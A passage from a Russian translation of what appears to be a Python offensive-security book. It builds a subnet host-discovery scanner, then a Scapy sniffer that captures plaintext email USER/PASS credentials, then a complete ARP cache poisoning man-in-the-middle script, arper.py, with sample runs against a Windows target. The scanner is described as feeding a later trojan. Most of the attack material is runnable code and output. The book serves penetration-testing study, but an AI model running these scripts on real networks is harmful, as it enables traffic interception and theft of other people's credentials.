Установка Kali Linux
Скачать 2.4 Mb.
|
Destination Unreachable. Как видите, первые 8 байт — это тип, а вторые 8 байт содержат наш ICMP-код. Любопытно, что, когда хост отправляет одно из этих ICMP сообщений, он включает IP-заголовок оригинального сообщения, которое сгенерировало ответ. Мы также повторно проверяем первые 8 байт оригинальной датаграммы, которая была отправлена, чтобы убедиться, что наш сканер сгенерировал ICMP ответ. Для этого, мы просто удаляем последние 8 байт полученного буфера, чтобы получить магическую строку, которую отправляет наш сканер. Давайте добавим больше кода к нашему предыдущему снифферу, чтобы иметь возможность расшифровывать ICMP пакеты. Сохраним предыдущий файл, как sniffer_with_icmp.py и добавим следующий код: snip class IP(Structure): snip class ICMP(Structure): ➊ _fields_ = [ ("type", c_ubyte), ("code", c_ubyte), ("checksum", c_ushort), ("unused", c_ushort), ("next_hop_mtu", c_ushort) ] def __new__(self, socket_buffer): return self.from_buffer_copy(socket_buffer) def __init__(self, socket_buffer): pass snip print "Protocol: %s %s > %s" % (ip_header.protocol, ip_header.src_ address, ip_header.dst_address) # if it's ICMP, we want it ➋ if ip_header.protocol == "ICMP": # calculate where our ICMP packet starts ➌ offset = ip_header.ihl * 4 buf = raw_buffer[offset:offset + sizeof(ICMP)] # create our ICMP structure ➍ icmp_header = ICMP(buf) print "ICMP > Type: %d Code: %d" % (icmp_header.type, icmp_header. code) Этот простой кусок кода создает ICMP структуру под нашей существующей IP- ➊ структурой. Когда главный цикл получения пакета определяет, что мы получили ICMP-пакет , мы вычисляем смещение в сыром пакете, где находится тело ICMP сообщения и затем ➋ ➌ создаем наш буфер и распечатываем поля ➍ type и code . Длина вычисления зависит от IP- заголовка в поле ihl , которое указывает на количество 32-битных слов (части по 4 байта), содержащихся в IP-заголовке. Умножив это поле на 4, мы узнаем размер IP-заголовка и, когда начнется следующий слой сети (в нашем случае, это ICMP). Если мы быстро запустим этот код при помощи нашего типичного пинг теста, то наши исходящие данные будут немного отличаться, как показано ниже: Protocol: ICMP 74.125.226.78 > 192.168.0.190 ICMP > Type: 0 Code: 0 Это говорит о том, что ответы пинга (эхо ICMP) получены и расшифрованы правильно. Теперь мы готовы установить последний бит логики, чтобы отправить UDP датаграмму и интерпретировать результаты. Давайте добавим модуль netaddr, чтобы мы смогли покрыть всю подсеть при помощи нашего скана обнаружения хоста. Сохраняем скрипт sniffer_with_icmp.py как scanner.py и добавляем следующий код: import threading import time from netaddr import IPNetwork,IPAddress snip # host to listen on host = "192.168.0.187" # subnet to target subnet = "192.168.0.0/24" # magic string we'll check ICMP responses for magic_message = "PYTHONRULES!" ➊ # this sprays out the UDP datagrams def udp_sender(subnet,magic_message): ➋ time.sleep(5) sender = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) for ip in IPNetwork(subnet): try: sender.sendto(magic_message,("%s" % ip,65212)) except: pass snip # start sending packets t = threading.Thread(target=udp_sender,args=(subnet,magic_message)) ➌ t.start() snip try: while True: snip #print "ICMP > Type: %d Code: %d" % (icmp_header.type, icmp_header. code) # now check for the TYPE 3 and CODE if icmp_header.code == 3 and icmp_header.type == 3: # make sure host is in our target subnet ➍ if IPAddress(ip_header.src_address) in IPNetwork(subnet): # make sure it has our magic message ➎ if raw_buffer[len(raw_buffer)len(magic_message):] == magic_message: print "Host Up: %s" % ip_header.src_address Эта последняя часть кода должна быть вполне понятна. Мы определяем простую сигнатуру строки , чтобы можно было протестировать ответы, поступающие от UDP пакетов, которые ➊ мы сами изначально отправляли. Наша функция udp_sender function работает в ➋ подсети, которую мы определили в верху скрипта и она выполняет итерацию по всем IP- адресам в этой подсети и запускает UDP датаграмму. В главном теле скрипта, до основного цикла расшифровки пакета, в отдельном потоке мы запускаем udp_sender , чтобы ➌ убедиться, что мы не нарушаем свою способность анализировать ответ. Если мы обнаруживаем желаемые ICMP сообщения, то сначала мы проверяем, что ICMP ответ исходит из нашей целевой подсети . Затем мы проводим нашу окончательную проверку, ➍ чтобы убедиться, что ICMP ответ имеет магические строки . Если все проверки проходят ➎ удачно, то мы распечатываем источник IP-адреса, откуда пришло ICMP сообщение. Давайте пробовать. Проверка на деле теперь берем наш сканер и запускаем его в локальной сети. Вы можете использовать Linux или Windows, так как результаты будут одинаковыми. В моем случае, IP-адрес локальный машины 192.168.0.187 , поэтому я настраиваю сканер на 192.168.0.0/24 . Если исходящие данные слишком зашумленные при запуске сканера, просто закомментируйте все операторы печати, кроме последнего, который говорит, что хосты отвечают. МОДУЛЬ NETADDR Наш сканер будет использовать стороннюю библиотеку, которая имеет название netaddr Это позволит нам работать в маске подсети, такой как 192.168.0.0/24. скачайте библиотеку по ссылке: http://code.google.com/p/netaddr/downloads/list Или, если вы установили пакет инструментов Python в Главе 1, то вы можете просто выполнить следующую команду: easy_install netaddr Модуль netaddr значительно облегчает работу с подсетями и адресацией. Например, вы можете провести простые тесты, используя объект IPNetwork: ip_address = "192.168.112.3" if ip_address in IPNetwork("192.168.112.0/24"): print True Или вы можете создать простые итераторы, если вы хотите отправить пакеты во всю сеть: for ip in IPNetwork("192.168.112.1/24"): s = socket.socket() s.connect((ip, 25)) # send mail packets Это значительно упростит вашу жизнь программиста, когда придется иметь дело со всей сетью одновременно, к тому же это идеально подходит для нашего инструмента обнаружения хоста. Когда модуль будет установлен, мы можем продолжать дальше. c:\Python27\python.exe scanner.py Host Up: 192.168.0.1 Host Up: 192.168.0.190 Host Up: 192.168.0.192 Host Up: 192.168.0.195 Быстрое сканирование, такое как провел я, заняло всего несколько секунд и я уже смог получить результаты обратно. Делая перекрестные ссылки IP-адресов при помощи DHCP таблицы в моем домашнем роутере, я смог подтвердить, что результаты были точными. Вы можете выйти за пределы того, что описано в этой главе, чтобы расшифровать TCP и UDP пакеты и создать дополнительные инструменты. Этот сканер также полезен для фреймворка для трояна, которого мы будем создавать в Главе 7. Это позволит трояну сканировать локальную сеть и искать новые цели. Итак, мы изучили основы того, как работает сеть на высоком и низком уровнях, теперь приступим к изучению продвинутой библиотеки Python, которая называется Scapy [7]. Управляющие коды ввода/вывода (IOCTL) — это средство коммуникации между программами в пользовательском пространстве с компонентами режима ядра. Подробнее почитать можно здесь here: http://en.wikipedia.org/wiki/Ioctl Глава 4. Сетевая утилита Scapy Иногда наталкиваешься на продуманную, отличную библиотеку Python, что нельзя не посвятить ей отдельной главы. Филипп Бионди (Philippe Biondi) разработал такую библиотеку для манипулирования сетевыми пакетами. После того, как вы закончите читать эту главу, вы можете подумать, что я заставлял вас делать сложную работу в предыдущих главах, хотя все можно было бы сделать при помощи одной-двух строк Scapy. Это очень мощная и гибкая утилита, возможности которой практически не ограничены. Мы попробуем украсть простой текст из e-mail, а затем попробуем ARP отравление целевой машины на наше сети для анализа трафика. Завершим все демонстрацией того, как обработку PCAP можно расширить для вырезания изображений из HTTP трафика и затем проведем детекцию лиц, чтобы определить, присутствуют ли на этих изображениях люди. Я рекомендую использовать Scapy в Linux, так как утилита была разработана для работы именно в этой системе. Самая последняя версия Scapy поддерживает Windows [8], но эту главу я писал с тем убеждением, что вы будете пользоваться виртуальной машиной Kali, которая имеет полный функционал для установки и работы Scapy. Если у вас еще нет этой утилиты, то переходите по ссылке http://www.secdev.org/projects/scapy/ и установите ее. Кража учетных данных e-mail вы уже изучили основные моменты, касающиеся анализа трафика в Pythonю Теперь давайте познакомимся с интерфейсом Scapy для анализа пакетов и разбора их содержимого. Мы создадим очень простой сниффер, чтобы захватить учетные данные SMTP, POP3 и IMAP. Затем, объединив наш сниффер с отравлением атаки ARP «человек посередине» (MITM), мы без труда сможем украсть учетные данные из других машин сети. Конечно, этот метод может применяться к любому протоколу или просто засасывать весь трафик и хранить его в PCAP файле для анализа. Это мы тоже наглядно продемонстрируем. Для того чтобы понять суть Scapy, давайте напишем скелет сниффера, который просто разбирает содержимое пакетов. Функция будет выглядеть следующим образом: sniff(filter="",iface="any",prn=function,count=N) Параметр filter позволяет нам выбрать BPF фильтр (в стиле Wireshark) и применить его к пакетам, который анализирует Scapy. Этот параметр можно оставить пустым, если нужно проанализировать все пакеты. Например, для анализа всех HTTP пакетов, нужно использовать BPF фильтр tcp port 80 . Параметр iface говорит снифферу, какую поверхность сети нужно анализировать. Если оставить его пустым, то он будет анализировать все поверхности. Параметр prn уточняет функцию обратного вызова для каждого пакета, который соответствует фильтру, и функция обратного вызова получает объект пакета, как свой единственный параметр. Параметр count уточняет, сколько пакетов вы хотите анализировать. Если оставить его пустым, то анализ будет продолжаться бесконечно. Итак, напишем простой сниффер для анализа пакета и разбора его содержимого. Затем мы усложним его и сниффер будет выполнять только команды, связанные с e-mail. Откройте mail_sniffer.py и напишите следующий код: from scapy.all import * # our packet callback def packet_callback(packet): ➊ print packet.show() # fire up our sniffer sniff(prn=packet_callback,count=1) ➋ Мы начнем с определения нашей функции обратного вызова, которая будет получать каждый анализируемый пакет , а затем дадим Scapy команду начать анализ на всех ➊ ➋ поверхностях без фильтра. Теперь давайте запустим скрипт и вы должны увидеть результат, аналогичный этому: $ python2.7 mail_sniffer.py WARNING: No route found for IPv6 destination :: (no default route?) ###[ Ethernet ]### dst = 10:40:f3:ab:71:02 src = 00:18:e7:ff:5c:f8 type = 0x800 ###[ IP ]### version = 4L ihl = 5L tos = 0x0 len = 52 id = 35232 flags = DF frag = 0L ttl = 51 proto = tcp chksum = 0x4a51 src = 195.91.239.8 dst = 192.168.0.198 \options \ ###[ TCP ]### sport = etlservicemgr dport = 54000 seq = 4154787032 ack = 2619128538 dataofs = 8L reserved = 0L flags = A window = 330 chksum = 0x80a2 urgptr = 0 options = [('NOP', None), ('NOP', None), ('Timestamp', (1960913461, 764897985))] None Как просто все оказалось! Мы видим, что, когда был получен первый пакет в сети, наша функция обратного вызова использовалась для создания встроенной функции packet.show() для отображения содержимого пакета и разбора некоторой информации протокола. Show() - это отличный способ отладки скрипта, когда вам нужно убедиться, что вы захватываете нужные вам исходящие данные. Итак, у нас запущен базовый сниффер, теперь давайте применим фильтр и добавим логику к нашей функции обратного вызова, чтобы убрать строки аутентификации, имеющие отношение к e-mail. from scapy.all import * # our packet callback def packet_callback(packet): if packet[TCP].payload: ➊ mail_packet = str(packet[TCP].payload) if "user" in mail_packet.lower() or "pass" in mail_packet.lower(): ➋ print "[*] Server: %s" % packet[IP].dst ➌ print "[*] %s" % packet[TCP].payload # fire up our sniffer sniff(filter="tcp port 110 or tcp port 25 or tcp port 143",prn=packet_ ➍ callback,store=0) Здесь тоже все понятно. Мы изменили функцию сниффера и добавили фильтр, чтобы учитывать только тот трафик, который предназначен для основных портов почтовых сервисов110 (POP3), 143 (IMAP) и SMTP (25) . Мы также использовали новый параметр ➍ store , которому присвоили значение 0, чтобы убедиться, что Scapy не хранит пакеты в памяти. Это хорошая идея использовать этот параметр, если вы намерены оставить сниффер на длительное время, так как в этом случае вам не придется затрачивать большие объемы RAM. Когда наша функция обратного вызова вызвана, мы должны проверить наличие полезной нагрузки данных и убедиться, что полезная нагрузка содержит типичные ➊ почтовые команды USER и PASS . Если мы обнаруживаем сроку аутентификации, мы ➋ распечатываем сервер, на который была совершена отправка и байты данных пакета . ➌ Проверка на деле Вот пример исходящих данных из условного e-mail аккаунта, с которым я пытался соединить своего почтового клиента: [*] Server: 25.57.168.12 [*] USER jms [*] Server: 25.57.168.12 [*] PASS justin [*] Server: 25.57.168.12 [*] USER jms [*] Server: 25.57.168.12 [*] PASS test Вы видите, что мой почтовый клиент пытается войти на сервер по адресу 25.57.168.12 и отправить простой текст с учетными данными. Это очень простой пример того, как вы можете использовать скрипт Scapy и превращать его в полезный инструмент во врем проведения тестов на проникновение. Любопытно бывает проанализировать и свой трафик, но всегда лучше заниматься этим с хорошим другом. Давайте посмотрим, как вы можете провести ARP отравление, чтобы проанализировать трафик целевой машины в той же сети. Отравление ARP кэша при помощи Scapy ARP отравление — это одна из самых, но тем не менее самых эффективных фишек в арсенале любого хакера. Мы убедим целевую машину, что мы являемся ее шлюзом. Мы также обманем шлюз, чтобы получить доступ к целевой машине и, чтобы весь трафик проходил через нас. В каждом компьютере в сети есть ARP кэш, который хранит самые последние MAC-адреса, соответствующие IP-адресам в локальной сети, и мы собираемся отравить этот кэш записями, которые мы контролируем для осуществления атаки. Так как протокол определения адреса (ARP) и ARP отравление в целом уже были описаны в многочисленных изданиях, вы сами сможете почитать и понять, как работает эта атака на низком уровне. Теперь, когда мы знаем, что нужно делать, давайте испробуем все это на практике. Когда я сам проводил тестирование, я атаковал реальную машину Windows, а в качестве атакующей машины использовал свою виртуальную машину Kali. Я также тестировал код в разных мобильных устройствах, привязанных к беспроводной точке доступа, и все отлично работало. Первое, что мы сделаем — проверим ARP кэш на целевой машине Windows, чтобы увидеть нашу атаку в действии. Посмотрите, как нужно проверять ARP кэш на виртуальной машине Windows. C:\Users\Clare> ipconfig Windows IP Configuration Wireless LAN adapter Wireless Network Connection: Connectionspecific DNS Suffix . : gateway.pace.com Linklocal IPv6 Address . . . . . : fe80::34a0:48cd:579:a3d9%11 IPv4 Address. . . . . . . . . . . : 172.16.1.71 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : ➊ 172.16.1.254 C:\Users\Clare> arp a Interface: 172.16.1.71 0xb Internet Address Physical Address Type 172.16.1.254 ➋ 3cea4f2b41f9 dynamic 172.16.1.255 ffffffffffff static 224.0.0.22 01005e000016 static 224.0.0.251 01005e0000fb static 224.0.0.252 01005e0000fc static 255.255.255.255 ffffffffffff static Итак, мы видим, что IP-адрес шлюза - ➊ 172.16.1.254, а соответствующа запись ARP кэша имеет MAC-адрес ➋ 3cea4f2b41f9 . Мы примем это к сведению, потому что мы сможем просматривать ARP кэш пока будет происходить атака и мы увидим, что мы изменили MAC-адрес шлюза. Теперь, когда мы знаем шлюз и наш целевой IP-адрес, давайте начнем писать код для нашего отравления ARP кэша. Открываем новый Python файл, назовем его arper.py и введем следующий код: from scapy.all import * import os import sys import threading import signal interface = "en1" target_ip = "172.16.1.71" gateway_ip ="172.16.1.254" packet_count =1000 # set our interface conf.iface = interface # turn off output conf.verb = 0 print "[*] Setting up %s" % interface gateway_mac = get_mac(gateway_ip) ➊ if gateway_mac is None: print "[!!!] Failed to get gateway MAC. Exiting." sys.exit(0) else: print "[*] Gateway %s is at %s" % (gateway_ip,gateway_mac) target_mac = get_mac(target_ip) ➋ if target_mac is None: print "[!!!] Failed to get target MAC. Exiting." sys.exit(0) else: print "[*] Target %s is at %s" % (target_ip,target_mac) # start poison thread poison_thread = threading.Thread(target = poison_target, args = ➌ (gateway_ip, gateway_mac,target_ip,target_mac)) poison_thread.start() try: print "[*] Starting sniffer for %d packets" % packet_count bpf_filter = "ip host %s" % target_ip ➍ packets = sniff(count=packet_count,filter=bpf_filter,iface=interface) # write out the captured packets wrpcap('arper.pcap',packets) ➎ # restore the network ➏ restore_target(gateway_ip,gateway_mac,target_ip,target_mac) except KeyboardInterrupt: # restore the network restore_target(gateway_ip,gateway_mac,target_ip,target_mac) sys.exit(0) Это главная часть настройки нашей атаки. Мы начинаем распознавать шлюз и целевые ➊ MAC адреса, соответствующие IP-адресам при помощи функции get_mac. После этого, мы ➋ запускаем второй поток, чтобы начать непосредственно ARP отравление . В нашем ➌ главном потоке, мы запускаем сниффер , который захватит предварительно заданное ➍ количество пакетов, используя BPF фильтр, чтобы захватить только трафик для целевых IP- адресов. Когда все пакеты будут захвачены, мы прописываем их в PCAP файле, чтобы потом их можно было открыть в Wireshark или использовать в их отношении наш скрипт по вырезанию изображений. Когда атака завершена, мы вызываем функцию restore_target , ➏ которая отвечает за возврат сети к ее исходному состоянию, до того как произошла атака. Теперь добавим поддерживающую функцию, внедрив ее в следующий код выше предыдущего блока кода: def restore_target(gateway_ip,gateway_mac,target_ip,target_mac): # slightly different method using send print "[*] Restoring target…" send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, ➊ hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac),count=5) send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac),count=5) # signals the main thread to exit os.kill(os.getpid(), signal.SIGINT) ➋ def get_mac(ip_address): responses,unanswered = ➌ srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address), timeout=2,retry=10) # return the MAC address from a response for s,r in responses: return r[Ether].src return None def poison_target(gateway_ip,gateway_mac,target_ip,target_mac): poison_target = ARP() ➍ poison_target.op = 2 poison_target.psrc = gateway_ip poison_target.pdst = target_ip poison_target.hwdst= target_mac poison_gateway = ARP() ➎ poison_gateway.op = 2 poison_gateway.psrc = target_ip poison_gateway.pdst = gateway_ip poison_gateway.hwdst= gateway_mac print "[*] Beginning the ARP poison. [CTRLC to stop]" while True: ➏ try: send(poison_target) send(poison_gateway) time.sleep(2) except KeyboardInterrupt: restore_target(gateway_ip,gateway_mac,target_ip,target_mac) print "[*] ARP poison attack finished." return Это самое важное в атаке. Наша функция restore_target просто отправляет соответствующие ARP пакеты на широковещательный адрес сети , чтобы сбросить ARP ➊ кэши шлюза и целевых машин. Мы также отправляем сигнал выхода главному потоку , что ➋ очень полезно, если вдруг наш поток отравления столкнется с какой-либо проблемой или вы нажмете на клавиатуре CTRL-C. Наша функция get_mac отвечает за использование функции srp (отправление и получение пакета) с целью отправки ARP запроса на ➌ конкретный IP-адрес, чтобы выявить соответствующий MAC-адрес. Функция poison_target собирает ARP запросы на отравление как целевого IP , так и шлюза . ➍ ➎ Отравляя шлюз и целевой IP-адрес, мы можем видеть поток входящего и исходящего трафика. Мы продолжаем запускать эти ARP запросы в цикл, чтобы убедиться, что ➏ соответствующие записи кэша ARP остаются отравленными на весь период атаки. Проверка на деле Прежде чем мы начнем, нам нужно сообщить нашей локальной хост-машине, что мы можем направить пакеты по шлюзу и целевому IP-адресу. Если вы работаете на виртуальной машине Kali, в терминале введите следующую команду: #:> echo 1 > /proc/sys/net/ipv4/ip_forward Если вы фанат Apple, тогда вам потребуется следующая команда: fanboy:tmp justin$ sudo sysctl w net.inet.ip.forwarding=1 Мы настроили направление IP, теперь запускаем наш скрипт и проверяем ARP кэш нашей целевой машины. Со своей атакующей машины запустите следующее (под пользователем root): fanboy:tmp justin$ sudo python2.7 arper.py WARNING: No route found for IPv6 destination :: (no default route?) [*] Setting up en1 [*] Gateway 172.16.1.254 is at 3c:ea:4f:2b:41:f9 [*] Target 172.16.1.71 is at 00:22:5f:ec:38:3d [*] Beginning the ARP poison. [CTRLC to stop] [*] Starting sniffer for 1000 packets Прекрасно! Никаких ошибок или других странностей. Теперь давайте проверим атаку на нашей целевой машине: C:\Users\Clare> arp a Interface: 172.16.1.71 0xb Internet Address Physical Address Type 172.16.1.64 1040f3ab7102 dynamic 172.16.1.254 1040f3ab7102 dynamic 172.16.1.255 ffffffffffff static 224.0.0.22 01005e000016 static 224.0.0.251 01005e0000fb static 224.0.0.252 01005e0000fc static 255.255.255.255 |